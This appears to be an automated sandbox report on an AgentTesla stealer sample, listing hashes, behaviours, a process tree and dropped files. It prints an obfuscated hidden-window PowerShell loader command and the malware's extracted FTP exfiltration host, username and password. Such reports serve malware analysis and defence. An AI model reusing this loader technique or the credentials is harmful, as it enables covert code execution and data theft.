agenttesla | 67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28/01/2025, 06:23

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General

Target

67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e.exe
Size

1.5MB
MD5

2a3b0c09fb6332a4c35439c0741a3c61
SHA1

1de70829cc27202b8b64235fb19829d32ac72ee1
SHA256

67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e
SHA512

901b724023e0ed87ddd483dae7c2c6c2269bb7115f1bfbf87a0b45efd77e20b7bcab183f60b1784ef92d86a6f04e76e719fe2a4d25794304ccc6aebd4bcd7f25
SSDEEP

24576:vmwBXOxw33BYQ+0EnWF9gfJmc6Ns2VDdAVjaP+4a8ztxQX8F9toOSZD98+/1c:DXtY0iJ56nVQjaLa8ztisXuRg

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.carbognin.it
Port:
21
Username:
[email protected]
Password:
59Cif8wZUH#X

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4832	powershell.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	3932	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3932	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4832	powershell.exe
3932	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
524	3932	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4832	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeIncreaseQuotaPrivilege	4832	powershell.exe
Token: SeSecurityPrivilege	4832	powershell.exe
Token: SeTakeOwnershipPrivilege	4832	powershell.exe
Token: SeLoadDriverPrivilege	4832	powershell.exe
Token: SeSystemProfilePrivilege	4832	powershell.exe
Token: SeSystemtimePrivilege	4832	powershell.exe
Token: SeProfSingleProcessPrivilege	4832	powershell.exe
Token: SeIncBasePriorityPrivilege	4832	powershell.exe
Token: SeCreatePagefilePrivilege	4832	powershell.exe
Token: SeBackupPrivilege	4832	powershell.exe
Token: SeRestorePrivilege	4832	powershell.exe
Token: SeShutdownPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeSystemEnvironmentPrivilege	4832	powershell.exe
Token: SeRemoteShutdownPrivilege	4832	powershell.exe
Token: SeUndockPrivilege	4832	powershell.exe
Token: SeManageVolumePrivilege	4832	powershell.exe
Token: 33	4832	powershell.exe
Token: 34	4832	powershell.exe
Token: 35	4832	powershell.exe
Token: 36	4832	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 4832	4600	67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e.exe	82
PID 4600 wrote to memory of 4832	4600	67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e.exe	82
PID 4600 wrote to memory of 4832	4600	67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e.exe	82
PID 4832 wrote to memory of 3932	4832	powershell.exe	91
PID 4832 wrote to memory of 3932	4832	powershell.exe	91
PID 4832 wrote to memory of 3932	4832	powershell.exe	91
PID 4832 wrote to memory of 3932	4832	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e.exe
"C:\Users\Admin\AppData\Local\Temp\67e5c1745d2c3382e6f20e2d7cd876acb687f7859aae4cd2b6b9fae6ca5a441e.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Salpiform=gc -Raw 'C:\Users\Admin\AppData\Local\Temp\Liste\Chambrays28\Folkevognsrugbrdene\Basted.Non';$Safianbogbinds=$Salpiform.SubString(36731,3);.$Safianbogbinds($Salpiform)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3932
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3932 -s 1580
      4⤵
      Program crash
      PID:524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 376 -p 3932 -ip 3932
1⤵
PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Liste\Chambrays28\Folkevognsrugbrdene\Basted.Non

Filesize
72KB

MD5
8c216f66e8374e616d44d14c9c875497

SHA1
ed495bc4ddbd10ec45e22ba94bdb4b4c82b6acaf

SHA256
9ea81c8c46e2a8999e75c17e5e27887915638672b01946e4fb3fb7166934fb97

SHA512
5236ad4c43796b5245aad3a475b37d88478b286371e6cea36aec30b0d1d7cf0192716bb545b8721a8984d14db45cd14e769176831ec220207d0b65d9c78e542d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Liste\Chambrays28\Folkevognsrugbrdene\Chelicerate.Tur

Filesize
343KB

MD5
de7d9362c8b4bb9162093ac7d0a432dc

SHA1
719babc0986b013d8b1349bd56c9ad697fcec16b

SHA256
389095f9cf77f78a7831021b84a312ce2b85637a9ac2ad8b922d11cee7e98fb6

SHA512
bc26b14092327391e43126d714bca50984a0387ca5f6f2b20c97f25d0e925d4d3bc0d0bb014dc0fd7fa14c3c92568a670c89c87d878da0e3d5d6abc2873eac51

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lq1i3ltn.t5m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3932-69-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/4832-48-0x0000000007DB0000-0x0000000007DBA000-memory.dmp

Filesize
40KB

Download
memory/4832-49-0x0000000007F10000-0x0000000007F21000-memory.dmp

Filesize
68KB

Download
memory/4832-50-0x0000000008510000-0x000000000851E000-memory.dmp

Filesize
56KB

Download
memory/4832-13-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/4832-23-0x0000000006260000-0x00000000065B4000-memory.dmp

Filesize
3.3MB

Download
memory/4832-24-0x0000000006830000-0x000000000684E000-memory.dmp

Filesize
120KB

Download
memory/4832-25-0x0000000006DD0000-0x0000000006E1C000-memory.dmp

Filesize
304KB

Download
memory/4832-26-0x00000000078E0000-0x0000000007976000-memory.dmp

Filesize
600KB

Download
memory/4832-27-0x0000000006CF0000-0x0000000006D0A000-memory.dmp

Filesize
104KB

Download
memory/4832-28-0x0000000006D40000-0x0000000006D62000-memory.dmp

Filesize
136KB

Download
memory/4832-29-0x0000000007F30000-0x00000000084D4000-memory.dmp

Filesize
5.6MB

Download
memory/4832-10-0x0000000005AE0000-0x0000000006108000-memory.dmp

Filesize
6.2MB

Download
memory/4832-31-0x0000000008B60000-0x00000000091DA000-memory.dmp

Filesize
6.5MB

Download
memory/4832-32-0x0000000007C40000-0x0000000007C72000-memory.dmp

Filesize
200KB

Download
memory/4832-43-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-45-0x0000000007CB0000-0x0000000007D53000-memory.dmp

Filesize
652KB

Download
memory/4832-33-0x00000000709A0000-0x00000000709EC000-memory.dmp

Filesize
304KB

Download
memory/4832-44-0x0000000007C80000-0x0000000007C9E000-memory.dmp

Filesize
120KB

Download
memory/4832-7-0x0000000074B8E000-0x0000000074B8F000-memory.dmp

Filesize
4KB

Download
memory/4832-47-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-12-0x0000000006180000-0x00000000061E6000-memory.dmp

Filesize
408KB

Download
memory/4832-46-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-11-0x0000000005990000-0x00000000059B2000-memory.dmp

Filesize
136KB

Download
memory/4832-51-0x0000000008520000-0x0000000008534000-memory.dmp

Filesize
80KB

Download
memory/4832-52-0x0000000008560000-0x000000000857A000-memory.dmp

Filesize
104KB

Download
memory/4832-53-0x0000000008550000-0x0000000008558000-memory.dmp

Filesize
32KB

Download
memory/4832-54-0x00000000085B0000-0x00000000085DA000-memory.dmp

Filesize
168KB

Download
memory/4832-55-0x00000000085E0000-0x0000000008604000-memory.dmp

Filesize
144KB

Download
memory/4832-56-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-57-0x0000000074B8E000-0x0000000074B8F000-memory.dmp

Filesize
4KB

Download
memory/4832-58-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-59-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-9-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-61-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-62-0x00000000091E0000-0x000000000AC07000-memory.dmp

Filesize
26.2MB

Download
memory/4832-63-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-64-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-65-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-66-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-67-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-68-0x0000000074B80000-0x0000000075330000-memory.dmp

Filesize
7.7MB

Download
memory/4832-8-0x0000000002F20000-0x0000000002F56000-memory.dmp

Filesize
216KB

Download